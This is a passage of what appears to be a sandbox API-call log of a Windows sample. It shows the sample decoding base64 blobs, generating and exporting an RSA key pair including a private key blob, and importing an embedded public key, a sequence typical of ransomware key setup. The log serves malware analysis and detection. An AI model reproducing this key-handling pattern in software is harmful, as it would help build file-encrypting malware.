pszString="rfyPvccxgVaLvW9OOY2J090Mq987N9lif/RoIDP89luS9Ouv9gUImpgCTVGWvJzrqiS8hQ5El02LdEvKcJ+7dn3DxiXSNG1PwLrY59KzGs/gUvXnYcmT6t34qfZmr8g8RPgOubcGTQL0BJHin/Oyb5B+UYpZoZroVJAISyOdaM3931wXQTBrv9rWI0Bz69TSZfVfxEarCSdQt8SsHVfTjt8V9NTkcSJXygnnYvikz6cGdocBSF9gq2hX5ZsbYGXBI39BJmOXP+NgIHhk+jVOZieXs+B3FdVwQdq4aZg49WvDkhrqYlsUHAlRK3/5E2IeXHccHLstYwfZJssatxrT9+8+d5fWFlwGx+lvWYOA5tR7cQKlxDEX+2O/FLqonkgOQkqvFqCIfoAXNxwzuP0wYH1qiO6NDhCSqqjNt44U+iBjP+ayLkoF0EHWWC0ZVOluKNIsaQS6fSrPLqpiM3nL7WvsWwtlJfUNuBBfJkYKyGGHMVyV9WOgT445b4YdR7LXbbVU/9TycwPO+5MgkokSHkAbUSRTwcbYy5tmDXAU1lcF7d36BTpfvzaV5/VI6ARRt2ypsxHGlnOJQUTH6Ya//Eu0jPi/6s2MmOk67csw/msiaaxuHXDostsSCC+kolVXHlrlzFGqpzeEZY8bRoO78uyYmZqPBg8SXjtCVop4jIhBqsMUWZeLXhe86f6zbN5+CeGfelRa9kSEZtwnMJfkZcXQxt3Sx5ImjQcRJMj3u2sYVRUfwpHS6gIINSo7q/UJgZBjT9QwyOEljjkksWqZjaFIc1LMIcTdkaYiD+hq2vMw8dIj8rrU9WsCEMxq9EDxMMAR/JYP8NOCncqxkaFBK1PXMXAZfVexWeqlfWuJconKq1lfLrG3+nrFBgseuwb7puh4wXjVYWJzFN6aIgnClL4W/1/5Eg6bm5uEv6Dru0pfOvhmbF1SY3zav4RQVQTYMfZxAsaBYfJ+Gx+6gDEmKggypl1VcVXWRbxAuDIXaByh9aP4B2QvhLnJxZLe+AG5DZhkE6S8Dw9nXf4Hlah3afr2ocA8p0Dx/NXb/8JanvfSlX+nb9XQjUT64H/DFDwvnMBdeUResCfBc9JlaDlUKkGYDH3UgEHs6G46Ya46808gTgmow+4jgVQNqfwmHK3s//MKHqr+N79dG9QAF3IGaTFUNL74AeLbsNRyacaPCY0S2TALjQPsQ2/lf2hYdvKy3++/B75SALN5tzyUojIWqZsV7PshG5l+8lgTCgWzTIHX0LUa5DV1x30UhBwO1V8ugrQkLxaGvL0IBGGCRlJ8Q4qQP/midozZSBhFGEDpNElwvWXhba6kTH1LoX8VYNOCZTDzLe82kUD1TSAoZ/fz+8QN7pLqol5+f9QnCLB9QKOi0OmpIS1DLlngr9YH99vtQgzjKXcD1Jh/cOLBh1OMb+rWxUbToys2ArG9laNWAWk0rNIv2dnIDpc+mSbp91E8qVN8Mv8K5jC3EBr4TB8jh5Ns/onBhPZ9rLXR7wIkaXGeTZi/4/XOtO3DFiad4+vfhFjomfY9wjUO6Vm8exxm4yox86awjiaNzth+cSENHnIDp7/yGteCdI+USVAVrZaxvR+PZLkKnDuk6WlSHfwGYgkvlJZ75tAF6ZUcd52fJzJOI5RNuPGjuqTE75UllhWZcj9p3/myxVHa1jhPWlRmhG56B78Fg0L4xNEdPrjewCE1+fCbe1Ak2BLvttkWm7GsFJhr+onDPeR6E20GfpBI3pr9sqemZFt0IUtJTq8qDwVNrGKi1+An8tWE5Ke+bFrZa/QRAGlNLvqNuONkUWCQTNfoW45DFkZVjUPn0t3tJQnHWPhJR2HWttXqYpQQIMpn", cchString=0x740, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ec6c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ec6c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0042.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x570) returned 0x4f928e0 [0042.277] CryptStringToBinaryA (in: pszString="rfyPvccxgVaLvW9OOY2J090Mq987N9lif/RoIDP89luS9Ouv9gUImpgCTVGWvJzrqiS8hQ5El02LdEvKcJ+7dn3DxiXSNG1PwLrY59KzGs/gUvXnYcmT6t34qfZmr8g8RPgOubcGTQL0BJHin/Oyb5B+UYpZoZroVJAISyOdaM3931wXQTBrv9rWI0Bz69TSZfVfxEarCSdQt8SsHVfTjt8V9NTkcSJXygnnYvikz6cGdocBSF9gq2hX5ZsbYGXBI39BJmOXP+NgIHhk+jVOZieXs+B3FdVwQdq4aZg49WvDkhrqYlsUHAlRK3/5E2IeXHccHLstYwfZJssatxrT9+8+d5fWFlwGx+lvWYOA5tR7cQKlxDEX+2O/FLqonkgOQkqvFqCIfoAXNxwzuP0wYH1qiO6NDhCSqqjNt44U+iBjP+ayLkoF0EHWWC0ZVOluKNIsaQS6fSrPLqpiM3nL7WvsWwtlJfUNuBBfJkYKyGGHMVyV9WOgT445b4YdR7LXbbVU/9TycwPO+5MgkokSHkAbUSRTwcbYy5tmDXAU1lcF7d36BTpfvzaV5/VI6ARRt2ypsxHGlnOJQUTH6Ya//Eu0jPi/6s2MmOk67csw/msiaaxuHXDostsSCC+kolVXHlrlzFGqpzeEZY8bRoO78uyYmZqPBg8SXjtCVop4jIhBqsMUWZeLXhe86f6zbN5+CeGfelRa9kSEZtwnMJfkZcXQxt3Sx5ImjQcRJMj3u2sYVRUfwpHS6gIINSo7q/UJgZBjT9QwyOEljjkksWqZjaFIc1LMIcTdkaYiD+hq2vMw8dIj8rrU9WsCEMxq9EDxMMAR/JYP8NOCncqxkaFBK1PXMXAZfVexWeqlfWuJconKq1lfLrG3+nrFBgseuwb7puh4wXjVYWJzFN6aIgnClL4W/1/5Eg6bm5uEv6Dru0pfOvhmbF1SY3zav4RQVQTYMfZxAsaBYfJ+Gx+6gDEmKggypl1VcVXWRbxAuDIXaByh9aP4B2QvhLnJxZLe+AG5DZhkE6S8Dw9nXf4Hlah3afr2ocA8p0Dx/NXb/8JanvfSlX+nb9XQjUT64H/DFDwvnMBdeUResCfBc9JlaDlUKkGYDH3UgEHs6G46Ya46808gTgmow+4jgVQNqfwmHK3s//MKHqr+N79dG9QAF3IGaTFUNL74AeLbsNRyacaPCY0S2TALjQPsQ2/lf2hYdvKy3++/B75SALN5tzyUojIWqZsV7PshG5l+8lgTCgWzTIHX0LUa5DV1x30UhBwO1V8ugrQkLxaGvL0IBGGCRlJ8Q4qQP/midozZSBhFGEDpNElwvWXhba6kTH1LoX8VYNOCZTDzLe82kUD1TSAoZ/fz+8QN7pLqol5+f9QnCLB9QKOi0OmpIS1DLlngr9YH99vtQgzjKXcD1Jh/cOLBh1OMb+rWxUbToys2ArG9laNWAWk0rNIv2dnIDpc+mSbp91E8qVN8Mv8K5jC3EBr4TB8jh5Ns/onBhPZ9rLXR7wIkaXGeTZi/4/XOtO3DFiad4+vfhFjomfY9wjUO6Vm8exxm4yox86awjiaNzth+cSENHnIDp7/yGteCdI+USVAVrZaxvR+PZLkKnDuk6WlSHfwGYgkvlJZ75tAF6ZUcd52fJzJOI5RNuPGjuqTE75UllhWZcj9p3/myxVHa1jhPWlRmhG56B78Fg0L4xNEdPrjewCE1+fCbe1Ak2BLvttkWm7GsFJhr+onDPeR6E20GfpBI3pr9sqemZFt0IUtJTq8qDwVNrGKi1+An8tWE5Ke+bFrZa/QRAGlNLvqNuONkUWCQTNfoW45DFkZVjUPn0t3tJQnHWPhJR2HWttXqYpQQIMpn", cchString=0x740, dwFlags=0x1, pbBinary=0x4f928e0, pcbBinary=0x18ec6c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f928e0, pcbBinary=0x18ec6c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0042.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f92e58 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x580) returned 0x4f93268 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92e58 | out: hHeap=0x4f90000) returned 1 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928e0 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91408 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f91430 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91408 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x4f91468 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91430 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f914b8 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91468 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e) returned 0x4f91408 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f914b8 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xec) returned 0x4f914b8 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91408 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x161) returned 0x4f915b0 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f914b8 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x211) returned 0x4f937f0 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915b0 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x319) returned 0x4f91408 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f937f0 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a5) returned 0x4f937f0 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91408 | out: hHeap=0x4f90000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6f7) returned 0x4f928e0 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f937f0 | out: hHeap=0x4f90000) returned 1 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93268 | out: hHeap=0x4f90000) returned 1 [0042.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92188 | out: hHeap=0x4f90000) returned 1 [0042.278] Sleep (dwMilliseconds=0x5) [0042.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ecc8 | out: lpSystemTimeAsFileTime=0x18ecc8*(dwLowDateTime=0xccfbc790, dwHighDateTime=0x1d561e7)) [0042.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ecc8 | out: lpSystemTimeAsFileTime=0x18ecc8*(dwLowDateTime=0xccfbc790, dwHighDateTime=0x1d561e7)) [0042.292] GetLastError () returned 0x0 [0042.292] SetLastError (dwErrCode=0x0) [0042.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91408 [0042.292] GetLastError () returned 0x0 [0042.292] SetLastError (dwErrCode=0x0) [0042.292] GetLastError () returned 0x0 [0042.292] SetLastError (dwErrCode=0x0) [0042.292] GetLastError () returned 0x0 [0042.292] SetLastError (dwErrCode=0x0) [0042.292] GetLastError () returned 0x0 [0042.292] SetLastError (dwErrCode=0x0) [0042.292] GetLastError () returned 0x0 [0042.292] SetLastError (dwErrCode=0x0) [0042.292] GetLastError () returned 0x0 [0042.292] SetLastError (dwErrCode=0x0) [0042.292] GetLastError () returned 0x0 [0042.292] SetLastError (dwErrCode=0x0) [0042.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91408 | out: hHeap=0x4f90000) returned 1 [0042.293] CryptStringToBinaryA (in: pszString="sNWDsdIpnQ==", cchString=0xc, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ec68, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ec68, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0042.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7) returned 0x4f91408 [0042.293] CryptStringToBinaryA (in: pszString="sNWDsdIpnQ==", cchString=0xc, dwFlags=0x1, pbBinary=0x4f91408, pcbBinary=0x18ec68, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f91408, pcbBinary=0x18ec68, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0042.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f92188 [0042.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92188 | out: hHeap=0x4f90000) returned 1 [0042.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91408 | out: hHeap=0x4f90000) returned 1 [0042.293] CryptAcquireContextA (in: phProv=0x414418, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x414418*=0x342bc88) returned 1 [0042.456] CryptGenKey (in: hProv=0x342bc88, Algid=0x1, dwFlags=0x8000001, phKey=0x41441c | out: phKey=0x41441c*=0x34237b0) returned 1 [0043.126] CryptExportKey (in: hKey=0x34237b0, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x0, pdwDataLen=0x18ef2c | out: pbData=0x0*, pdwDataLen=0x18ef2c*=0x494) returned 1 [0043.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x494) returned 0x4f92188 [0043.126] CryptExportKey (in: hKey=0x34237b0, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x4f92188, pdwDataLen=0x18ef2c | out: pbData=0x4f92188*, pdwDataLen=0x18ef2c*=0x494) returned 1 [0043.128] CryptExportKey (in: hKey=0x34237b0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x18ef30 | out: pbData=0x0*, pdwDataLen=0x18ef30*=0x114) returned 1 [0043.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x114) returned 0x4f92628 [0043.128] CryptExportKey (in: hKey=0x34237b0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x4f92628, pdwDataLen=0x18ef30 | out: pbData=0x4f92628*, pdwDataLen=0x18ef30*=0x114) returned 1 [0043.129] CryptBinaryToStringA (in: pbBinary=0x4f92628, cbBinary=0x114, dwFlags=0x1, pszString=0x0, pcchString=0x18ef34 | out: pszString=0x0, pcchString=0x18ef34) returned 1 [0043.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17d) returned 0x4f92748 [0043.129] CryptBinaryToStringA (in: pbBinary=0x4f92628, cbBinary=0x114, dwFlags=0x1, pszString=0x4f92748, pcchString=0x18ef34 | out: pszString="BgIAAACkAABSU0ExAAgAAAEAAQDPTRvUJVx+x6OCQVPDUWXoZoWpMhDtO39xJSyy\r\n7vQ/k0JdBJXyOKNZaxcOhR4jmsq68H20RyDPUzMIBK6g+nfrZ3tTt6ZnpDg0OcU1\r\nOWauzRfCkdfe7eo3nlHgSflSweLaACc9KOt+pPYrR4uBfohU6Qx8OJOYGUfwKuf+\r\ny1VH6SQiWicfU6xY+B//9atcdNqhiulbi/3m1kgzpJCu0zmXS9EE9nbKO1Ymaez4\r\ngNhdNSa0ieW/lyK4MmB8Zgcq2coDhFr8I9V6a4+YoAc9bi897CgHLDhrZuvRgjkb\r\ncvdI5LT6sxvcLOz9CsN4IRmMVYtgTf4wxA7AnMmpf3hgJQLX\r\n", pcchString=0x18ef34) returned 1 [0043.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x180) returned 0x4f91408 [0043.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92748 | out: hHeap=0x4f90000) returned 1 [0043.129] CryptBinaryToStringA (in: pbBinary=0x4f92188, cbBinary=0x494, dwFlags=0x1, pszString=0x0, pcchString=0x18ef34 | out: pszString=0x0, pcchString=0x18ef34) returned 1 [0043.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x64f) returned 0x4f92fe0 [0043.129] CryptBinaryToStringA (in: pbBinary=0x4f92188, cbBinary=0x494, dwFlags=0x1, pszString=0x4f92fe0, pcchString=0x18ef34 | out: pszString="BwIAAACkAABSU0EyAAgAAAEAAQDPTRvUJVx+x6OCQVPDUWXoZoWpMhDtO39xJSyy\r\n7vQ/k0JdBJXyOKNZaxcOhR4jmsq68H20RyDPUzMIBK6g+nfrZ3tTt6ZnpDg0OcU1\r\nOWauzRfCkdfe7eo3nlHgSflSweLaACc9KOt+pPYrR4uBfohU6Qx8OJOYGUfwKuf+\r\ny1VH6SQiWicfU6xY+B//9atcdNqhiulbi/3m1kgzpJCu0zmXS9EE9nbKO1Ymaez4\r\ngNhdNSa0ieW/lyK4MmB8Zgcq2coDhFr8I9V6a4+YoAc9bi897CgHLDhrZuvRgjkb\r\ncvdI5LT6sxvcLOz9CsN4IRmMVYtgTf4wxA7AnMmpf3hgJQLXCR7VhIEAvrlQTu3R\r\n6rYSzwOvPm+kWfQsMAWOJKeITkAAwEp4N1YBl70L/nWjM4/cD1XuzcTFQ6qI5ICG\r\nLJJnCLQMY4KS7dIzBNOiT4C3SRadVfChOiCaRJ4fGbjl7Cjg0dnBAC8hiveNzgzt\r\njJZ9YBEGwzsVhrf90eeYkmfDxeoXg593BqQVlQDXKYJOI9cK4rBzONviWK4c401q\r\n6rU/U3qLLaE99ePvH2DfB/hQ40cTg9Gv149sx3uLn/+QYsBuH4KDwkVNESJHlgM5\r\nH2sWOUGvHMcNNFRHByiWIgUEiISxU3FrQwsRH/i+kW2v2HxYsNVZHTzxDkDvjcAS\r\n7udy6lG3gZ1qSafNmwEkPerec5C15KhixdbJoHRYbEx8hFPFRO1ukvutQ+XM0pt/\r\ntzkfiZ4j2kFTJwSPQV+MhX72KNb7xgD7CGzVpZgGgcom73IsGJ2jI8k9Vi0PLivG\r\nfq5zRHO11s431gcdHOFeVBqoGufZQKqdDJM3k/BJY3eZw7W4+/CJwT6dlKFWMbXy\r\nupxaxGUHFNLKhc6RpNEwlHj2twPKEs0UI6P4fN3371E0A8B1mhxmMCKe693qfOt0\r\nx7Rd1O49O8p562M2rUCN/urTaNQtuw8ln4hJOYC22zG7o/2/Z2eu9/fFX936bXdf\r\nveg6y7EEhd9yKgibQ46s3AxcTsy3DH7cV/A5zp0zGS0mZa3hILJ6q3yvCp/bjj7s\r\n9zlpD6cEd986s42HkmQBNb7D2vhBtTvCTaJdoAtljMfUTpVf5yoWNmtbbt+jJ+HC\r\nBNnnsix6wm989fkabvhQhacZiW9vta/QN7/tN5/JKljTFsAxaeiQB2CzlcpXdQDu\r\nDHN80VED4XZC5bH6npjoKVdoh+KkvOl4zokXbWOj0pjHVtTIT+2nJznHVZ+et7+c\r\nkAmHXxEJbwTMqYpFsAkQmC0PAc7y9rE+jf8S6ZZoFL1GBJVcQ39DxjXSzKTldHGP\r\nu7gZ8pBxJKYzxVSAQXVQKsVXjR7KvlGNIwv7BjQ1P2wH9jGvwhaOpFDxHXdtd7FZ\r\nGPP6vdrPbiBcRB2LKsA2YNQesfhoZ7bbSY7iSdwI6gTJ4dG8lEKfzuhSfL0Rw95q\r\nH0yzDMplYJmOtBQQpsF1/TwTkboLGFGNpEouy8T+OIA+gUwh9dH+xC3xSQgk/+iI\r\nfUy/4EBVZgtGtrlwSRZT2+R9ljY=\r\n", pcchString=0x18ef34) returned 1 [0043.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x650) returned 0x4f93638 [0043.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92fe0 | out: hHeap=0x4f90000) returned 1 [0043.129] CryptStringToBinaryA (in: pszString="BgIAAACkAABSU0ExAAgAAAEAAQDPTRvUJVx+x6OCQVPDUWXoZoWpMhDtO39xJSyy\r\n7vQ/k0JdBJXyOKNZaxcOhR4jmsq68H20RyDPUzMIBK6g+nfrZ3tTt6ZnpDg0OcU1\r\nOWauzRfCkdfe7eo3nlHgSflSweLaACc9KOt+pPYrR4uBfohU6Qx8OJOYGUfwKuf+\r\ny1VH6SQiWicfU6xY+B//9atcdNqhiulbi/3m1kgzpJCu0zmXS9EE9nbKO1Ymaez4\r\ngNhdNSa0ieW/lyK4MmB8Zgcq2coDhFr8I9V6a4+YoAc9bi897CgHLDhrZuvRgjkb\r\ncvdI5LT6sxvcLOz9CsN4IRmMVYtgTf4wxA7AnMmpf3hgJQLX\r\n", cchString=0x17c, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ef34, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ef34, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x114) returned 0x4f92748 [0043.129] CryptStringToBinaryA (in: pszString="BgIAAACkAABSU0ExAAgAAAEAAQDPTRvUJVx+x6OCQVPDUWXoZoWpMhDtO39xJSyy\r\n7vQ/k0JdBJXyOKNZaxcOhR4jmsq68H20RyDPUzMIBK6g+nfrZ3tTt6ZnpDg0OcU1\r\nOWauzRfCkdfe7eo3nlHgSflSweLaACc9KOt+pPYrR4uBfohU6Qx8OJOYGUfwKuf+\r\ny1VH6SQiWicfU6xY+B//9atcdNqhiulbi/3m1kgzpJCu0zmXS9EE9nbKO1Ymaez4\r\ngNhdNSa0ieW/lyK4MmB8Zgcq2coDhFr8I9V6a4+YoAc9bi897CgHLDhrZuvRgjkb\r\ncvdI5LT6sxvcLOz9CsN4IRmMVYtgTf4wxA7AnMmpf3hgJQLX\r\n", cchString=0x17c, dwFlags=0x1, pbBinary=0x4f92748, pcbBinary=0x18ef34, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92748, pcbBinary=0x18ef34, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.129] CryptImportKey (in: hProv=0x342bc88, pbData=0x4f92748, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x41441c | out: phKey=0x41441c*=0x3423770) returned 1 [0043.129] CryptStringToBinaryA (in: pszString="BgIAAACkAABSU0ExACAAAAEAAQCb9EwNBZNDpfAxFJ1Bd9Hn4lajs4QEoqAa6Koav6qiLayu6kDGA2U61HGlKDKkz5prCTVTMfnxcNbiJhQKDyavO2/iv580yK2TrAj0vKxLkVPRjmpCAwEVhD7Q2Wj+OP0Y9gVv4WyLXiNCBHDW4jqXJv1904BPOcaJkA4aw5gtMFvQB9jixKSuekFDiMdHoP+oEqeHEWeGN7vGKBO7UM5K7CiqCU8JuntHP6EbuJIGjWToD85K3DGUTWCv/+C1gHTycGRQwzWSFkJZghTpinOy8z3dpeq7B89ZNJEF58h4QuOeLYTqqC1ln9wpPDRruNoeJXLVEWmdLIPHLEJWSAOhj5gneZt8pgaK7yJ7WZmck+bM++SpHYD9qWlrNAQo5Z7vUlViM1tyjM6CIUHUDgJggU/F8nMd/7GUSV3zKkMcpavT6Kn7gMS91v7jDqAU2zIbxgmVQG15HXPF+OEJ32woinelaad4eslrraoOI3pg4HtCwcG4mBL6JcPu4KmWznO+my0qtDhSy3kDhY2aVjXrPZyHtjZpyePkL+CbEzIFMeGCBr/dqcw0i+NZqnIQhci3lLqPKWT7IQnECSww8jt+pFE/TnCVftxptMOoAzXmIy4+QtQRrPf+b3n+ceFcgw/0m6HwXvmyjNjZzpAU4Jk48sP/q/mayyeF7HZivFw6mXrtO8zUPAqPDBTWN92w1V7xISWaKTPdjp13FczP3ypM29XnXFfsXDx0PwWc0MXT9h2rrjVcNwa2XCc1SMdldivCpiqiME1ncp0OXgsrlslV8isRzNjzYMxkB1G98SgnGmdL+dr2K6ZksI+SbV7ywjKuImI4xN/Q9cQHJrTE6W6T7y5SLgScYpwYKEx9KV5M9DOv8GQFBB26IYkuO8pyBDaUt2qdbd2z3Wihxtm06qVhlobfEf1v/AXb9rigFwaFuPoujy1SmbOkxvP2IXT2Oo7tfsaSkCtvatNa+6kjhpqlQcMUcKpxeWXQCMgZI16tkUwipyrXsFfbzRYvpX3y7GrXpQJqA7MCIytFEsgVE6Kj6DZUTrWA3aj5Loe4GVrW2McE06omZnQ93uILvrZZoOFlWLYiqbBH1U5smQ+np8Yw2//Q8IAUjj4M67J/wRPg0EeQDgQy9ApqFisCy2Co6AM0fg7viuRl7/5LcgocXsBRljC4HHbOo7kVq0RNAGO87PAs8ByjwAIg4gKvjqIGVQiLMtOfC/ifE6tkg+Bk2RSMWd1rJfA8k+CZw5T4fxCSvAxztu3wCy748CguGjcTDbtcPCk983vobYHrzzhsdpvPN/IdVoiF4zZl6xXXnTfgMUZRtgn6MNx1MfWdogc23CfIQeIGM4T4Ctg+kOMQ5kTd", cchString=0x570, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ef34, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ef34, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x414) returned 0x4f92fe0 [0043.129] CryptStringToBinaryA (in: pszString="BgIAAACkAABSU0ExACAAAAEAAQCb9EwNBZNDpfAxFJ1Bd9Hn4lajs4QEoqAa6Koav6qiLayu6kDGA2U61HGlKDKkz5prCTVTMfnxcNbiJhQKDyavO2/iv580yK2TrAj0vKxLkVPRjmpCAwEVhD7Q2Wj+OP0Y9gVv4WyLXiNCBHDW4jqXJv1904BPOcaJkA4aw5gtMFvQB9jixKSuekFDiMdHoP+oEqeHEWeGN7vGKBO7UM5K7CiqCU8JuntHP6EbuJIGjWToD85K3DGUTWCv/+C1gHTycGRQwzWSFkJZghTpinOy8z3dpeq7B89ZNJEF58h4QuOeLYTqqC1ln9wpPDRruNoeJXLVEWmdLIPHLEJWSAOhj5gneZt8pgaK7yJ7WZmck+bM++SpHYD9qWlrNAQo5Z7vUlViM1tyjM6CIUHUDgJggU/F8nMd/7GUSV3zKkMcpavT6Kn7gMS91v7jDqAU2zIbxgmVQG15HXPF+OEJ32woinelaad4eslrraoOI3pg4HtCwcG4mBL6JcPu4KmWznO+my0qtDhSy3kDhY2aVjXrPZyHtjZpyePkL+CbEzIFMeGCBr/dqcw0i+NZqnIQhci3lLqPKWT7IQnECSww8jt+pFE/TnCVftxptMOoAzXmIy4+QtQRrPf+b3n+ceFcgw/0m6HwXvmyjNjZzpAU4Jk48sP/q/mayyeF7HZivFw6mXrtO8zUPAqPDBTWN92w1V7xISWaKTPdjp13FczP3ypM29XnXFfsXDx0PwWc0MXT9h2rrjVcNwa2XCc1SMdldivCpiqiME1ncp0OXgsrlslV8isRzNjzYMxkB1G98SgnGmdL+dr2K6ZksI+SbV7ywjKuImI4xN/Q9cQHJrTE6W6T7y5SLgScYpwYKEx9KV5M9DOv8GQFBB26IYkuO8pyBDaUt2qdbd2z3Wihxtm06qVhlobfEf1v/AXb9rigFwaFuPoujy1SmbOkxvP2IXT2Oo7tfsaSkCtvatNa+6kjhpqlQcMUcKpxeWXQCMgZI16tkUwipyrXsFfbzRYvpX3y7GrXpQJqA7MCIytFEsgVE6Kj6DZUTrWA3aj5Loe4GVrW2McE06omZnQ93uILvrZZoOFlWLYiqbBH1U5smQ+np8Yw2//Q8IAUjj4M67J/wRPg0EeQDgQy9ApqFisCy2Co6AM0fg7viuRl7/5LcgocXsBRljC4HHbOo7kVq0RNAGO87PAs8ByjwAIg4gKvjqIGVQiLMtOfC/ifE6tkg+Bk2RSMWd1rJfA8k+CZw5T4fxCSvAxztu3wCy748CguGjcTDbtcPCk983vobYHrzzhsdpvPN/IdVoiF4zZl6xXXnTfgMUZRtgn6MNx1MfWdogc23CfIQeIGM4T4Ctg+kOMQ5kTd", cchString=0x570, dwFlags=0x1, pbBinary=0x4f92fe0, pcbBinary=0x18ef34, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f92fe0, pcbBinary=0x18ef34, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0043.129] CryptAcquireContextA (in: phProv=0x414424, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x414424*=0x342bea8) returned 1 [0043.132] CryptImportKey (in: hProv=0x342bea8, pbData=0x4f92fe0, dwDataLen=0x414, hPubKey=0x0, dwFlags=0x0, phKey=0x414420 | out: phKey=0x414420*=0x34239f0) returned 1 [0043.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.133] CryptStringToBinaryA (in: pszString="zebq3sIZsVa53hdm", cchString=0x10, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ea0c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ea0c, pdwSkip=0x0, pdwFlags=0x0) 